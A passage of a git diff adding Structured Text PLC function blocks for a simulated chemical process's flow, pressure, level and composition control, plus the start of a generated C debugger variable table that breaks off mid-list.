a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c new file mode 100644 index 0000000..a53d9ea --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.c @@ -0,0 +1,730 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1029 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, 